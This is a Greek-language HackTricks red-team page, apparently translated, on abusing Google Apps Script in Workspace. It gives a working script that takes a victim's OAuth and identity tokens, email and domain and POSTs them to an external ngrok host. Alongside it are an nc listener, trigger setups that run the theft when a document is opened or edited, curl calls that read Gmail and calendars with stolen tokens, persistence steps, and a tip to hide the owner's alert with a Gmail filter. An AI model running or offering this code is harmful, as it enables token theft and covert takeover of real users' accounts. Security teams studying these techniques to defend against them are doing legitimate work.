GWS - App Scripts

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

App Scripts

App Scripts είναι κώδικας που θα ενεργοποιηθεί όταν ένας χρήστης με δικαιώματα επεξεργασίας αποκτήσει πρόσβαση στο έγγραφο με το οποίο είναι συνδεδεμένο το App Script και μετά την αποδοχή του OAuth prompt.
Μπορούν επίσης να ρυθμιστούν ώστε να εκτελούνται κάθε συγκεκριμένο χρονικό διάστημα από τον κάτοχο του App Script (Persistence).

Δημιουργία App Script

Υπάρχουν αρκετοί τρόποι για να δημιουργήσετε ένα App Script, αν και οι πιο συνηθισμένοι είναι από ένα Google Document (οποιουδήποτε τύπου) και ως αυτόνομο έργο:

Δημιουργία έργου δεσμευμένου σε κοντέινερ από Google Docs, Sheets ή Slides
  1. Ανοίξτε ένα έγγραφο Docs, ένα υπολογιστικό φύλλο Sheets ή μια παρουσίαση Slides.
  2. Κάντε κλικ στο Extensions > Google Apps Script.
  3. Στον επεξεργαστή σεναρίων, κάντε κλικ στο Untitled project.
  4. Δώστε στο έργο σας ένα όνομα και κάντε κλικ στο Rename.
Δημιουργία αυτόνομου έργου

Για να δημιουργήσετε ένα αυτόνομο έργο από το Apps Script:

  1. Μεταβείτε στο script.google.com.
  2. Κάντε κλικ στο New Project.
  3. Στον επεξεργαστή σεναρίων, κάντε κλικ στο Untitled project.
  4. Δώστε στο έργο σας ένα όνομα και κάντε κλικ στο Rename.
Δημιουργία αυτόνομου έργου από το Google Drive
  1. Ανοίξτε Google Drive.
  2. Κάντε κλικ στο New > More > Google Apps Script.
Δημιουργία έργου δεσμευμένου σε κοντέινερ από Google Forms
  1. Ανοίξτε μια φόρμα στο Google Forms.
  2. Κάντε κλικ στο More more_vert > Script editor.
  3. Στον επεξεργαστή σεναρίων, κάντε κλικ στο Untitled project.
  4. Δώστε στο έργο σας ένα όνομα και κάντε κλικ στο Rename.
Δημιουργία αυτόνομου έργου χρησιμοποιώντας το εργαλείο γραμμής εντολών clasp

clasp είναι ένα εργαλείο γραμμής εντολών που σας επιτρέπει να δημιουργείτε, να τραβάτε/σπρώχνετε και να αναπτύσσετε έργα Apps Script από ένα τερματικό.

Δείτε τον Οδηγό διεπαφής γραμμής εντολών χρησιμοποιώντας το clasp για περισσότερες λεπτομέρειες.

Σενάριο App Script

Δημιουργία Google Sheet με App Script

Ξεκινήστε δημιουργώντας ένα App Script, η σύστασή μου για αυτό το σενάριο είναι να δημιουργήσετε ένα Google Sheet και να μεταβείτε στο Extensions > App Scripts, αυτό θα ανοίξει ένα νέο App Script για εσάς συνδεδεμένο με το φύλλο.

Διαρροή token

Για να δώσετε πρόσβαση στο OAuth token πρέπει να κάνετε κλικ στο Services + και να προσθέσετε scopes όπως:

  • AdminDirectory: Πρόσβαση σε χρήστες και ομάδες του καταλόγου (αν ο χρήστης έχει αρκετά δικαιώματα)
  • Gmail: Για πρόσβαση σε δεδομένα gmail
  • Drive: Για πρόσβαση σε δεδομένα drive
  • Google Sheets API: Έτσι ώστε να λειτουργεί με τον trigger

Για να αλλάξετε μόνοι σας τα απαραίτητα scopes μπορείτε να μεταβείτε στις ρυθμίσεις του έργου και να ενεργοποιήσετε: Show "appsscript.json" manifest file in editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

Για να καταγράψετε το αίτημα μπορείτε απλά να εκτελέσετε:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

Warning

Καθώς γίνεται μια εξωτερική αίτηση, το OAuth prompt θα ζητήσει άδεια για να φτάσει σε εξωτερικά endpoints.

Δημιουργία Trigger

Αφού διαβαστεί η εφαρμογή, κάντε κλικ στο ⏰ Triggers για να δημιουργήσετε ένα trigger. Ως function επιλέξτε getToken, τρέχει κατά την ανάπτυξη Head, στην πηγή γεγονότος επιλέξτε From spreadsheet και τύπο γεγονότος επιλέξτε On open ή On edit (ανάλογα με τις ανάγκες σας) και αποθηκεύστε.

Σημειώστε ότι μπορείτε να ελέγξετε τις εκτελέσεις των App Scripts στην καρτέλα Εκτελέσεις αν θέλετε να αποσφαλματώσετε κάτι.

Κοινοποίηση

Για να trigger το App Script, το θύμα πρέπει να συνδεθεί με Editor Access.

Tip

Το token που χρησιμοποιείται για την εκτέλεση του App Script θα είναι αυτό του δημιουργού του trigger, ακόμη και αν το αρχείο ανοιχτεί ως Editor από άλλους χρήστες.

Κατάχρηση εγγράφων Shared With Me

Caution

Αν κάποιος σας μοιράστηκε ένα έγγραφο με App Scripts και ένα trigger χρησιμοποιώντας το Head του App Script (όχι μια σταθερή ανάπτυξη), μπορείτε να τροποποιήσετε τον κώδικα του App Script (προσθέτοντας για παράδειγμα τις λειτουργίες κλοπής token), να έχετε πρόσβαση σε αυτό, και το App Script θα εκτελείται με τις άδειες του χρήστη που σας μοιράστηκε το έγγραφο! (σημειώστε ότι το OAuth token του ιδιοκτήτη θα έχει ως πεδία πρόσβασης αυτά που δόθηκαν όταν δημιουργήθηκε το trigger).

Μια ειδοποίηση θα σταλεί στον δημιουργό του script που θα υποδεικνύει ότι κάποιος τροποποίησε το script (Τι θα λέγατε για τη χρήση των αδειών gmail για να δημιουργήσετε ένα φίλτρο για να αποτρέψετε την ειδοποίηση;)

Tip

Αν ένας επιτιθέμενος τροποποιήσει τα πεδία πρόσβασης του App Script, οι ενημερώσεις δεν θα εφαρμοστούν στο έγγραφο μέχρι να δημιουργηθεί ένα νέο trigger με τις αλλαγές. Επομένως, ένας επιτιθέμενος δεν θα μπορέσει να κλέψει το token του ιδιοκτήτη με περισσότερα πεδία πρόσβασης από αυτά που έχει ορίσει στο trigger που δημιούργησε.

Αντιγραφή αντί για κοινοποίηση

Όταν δημιουργείτε έναν σύνδεσμο για να μοιραστείτε ένα έγγραφο, δημιουργείται ένας σύνδεσμος παρόμοιος με αυτόν: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Αν αλλάξετε το τέλος “/edit” σε “/copy”, αντί να έχετε πρόσβαση σε αυτό, η Google θα σας ρωτήσει αν θέλετε να δημιουργήσετε μια αντίγραφο του εγγράφου:

Αν ο χρήστης το αντιγράψει και το αποκτήσει πρόσβαση, τόσο το περιεχόμενο του εγγράφου όσο και τα App Scripts θα αντιγραφούν, ωστόσο οι triggers δεν είναι, επομένως τίποτα δεν θα εκτελείται.

Κοινοποίηση ως Web Application

Σημειώστε ότι είναι επίσης δυνατό να μοιραστείτε ένα App Script ως Web application (στον Επεξεργαστή του App Script, αναπτύξτε ως Web application), αλλά μια ειδοποίηση όπως αυτή θα εμφανιστεί:

Ακολουθούμενη από το τυπικό OAuth prompt που ζητά τις απαραίτητες άδειες.

Δοκιμή

Μπορείτε να δοκιμάσετε ένα συγκεντρωμένο token για να καταγράψετε emails με:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Λίστα ημερολογίου του χρήστη:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script ως Επιμονή

Μία επιλογή για επιμονή θα ήταν να δημιουργήσετε ένα έγγραφο και να προσθέσετε έναν ενεργοποιητή για τη συνάρτηση getToken και να μοιραστείτε το έγγραφο με τον επιτιθέμενο, έτσι ώστε κάθε φορά που ο επιτιθέμενος ανοίγει το αρχείο να εξάγει το token του θύματος.

Είναι επίσης δυνατό να δημιουργήσετε ένα App Script και να το κάνετε να ενεργοποιείται κάθε X χρόνο (όπως κάθε λεπτό, ώρα, ημέρα…). Ένας επιτιθέμενος που έχει συμβιβασμένα διαπιστευτήρια ή μια συνεδρία ενός θύματος θα μπορούσε να ρυθμίσει έναν ενεργοποιητή χρόνου App Script και να διαρρεύσει ένα πολύ προνομιούχο OAuth token κάθε μέρα:

Απλά δημιουργήστε ένα App Script, πηγαίνετε στους Ενεργοποιητές, κάντε κλικ στην Προσθήκη Ενεργοποιητή και επιλέξτε ως πηγή γεγονότος Χρονικά καθοδηγούμενο και επιλέξτε τις επιλογές που σας ταιριάζουν καλύτερα:

Caution

Αυτό θα δημιουργήσει ένα email ασφαλείας και ένα μήνυμα push στο κινητό σας που θα σας ειδοποιεί γι’ αυτό.

Παράκαμψη Μη Επαληθευμένης Προτροπής Εγγράφου

Επιπλέον, αν κάποιος μοίρασε μαζί σας ένα έγγραφο με πρόσβαση επεξεργασίας, μπορείτε να δημιουργήσετε App Scripts μέσα στο έγγραφο και ο ΙΔΙΟΚΤΗΤΗΣ (δημιουργός) του εγγράφου θα είναι ο ιδιοκτήτης του App Script.

Warning

Αυτό σημαίνει ότι ο δημιουργός του εγγράφου θα εμφανίζεται ως δημιουργός οποιουδήποτε App Script δημιουργεί οποιοσδήποτε με πρόσβαση επεξεργασίας μέσα σε αυτό.

Αυτό σημαίνει επίσης ότι το App Script θα είναι αξιόπιστο από το περιβάλλον Workspace του δημιουργού του εγγράφου.

Caution

Αυτό σημαίνει επίσης ότι αν ένα App Script ήδη υπήρχε και οι άνθρωποι έχουν παραχωρήσει πρόσβαση, οποιοσδήποτε με δικαιώματα Επεξεργασίας στο έγγραφο μπορεί να το τροποποιήσει και να καταχραστεί αυτή την πρόσβαση.
Για να το καταχραστείτε αυτό χρειάζεστε επίσης ανθρώπους να ενεργοποιήσουν το App Script. Και ένα έξυπνο κόλπο είναι να δημοσιεύσετε το script ως web app. Όταν οι άνθρωποι που έχουν ήδη παραχωρήσει πρόσβαση στο App Script αποκτούν πρόσβαση στη σελίδα web, θα ενεργοποιήσουν το App Script (αυτό λειτουργεί επίσης χρησιμοποιώντας ετικέτες <img>).

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks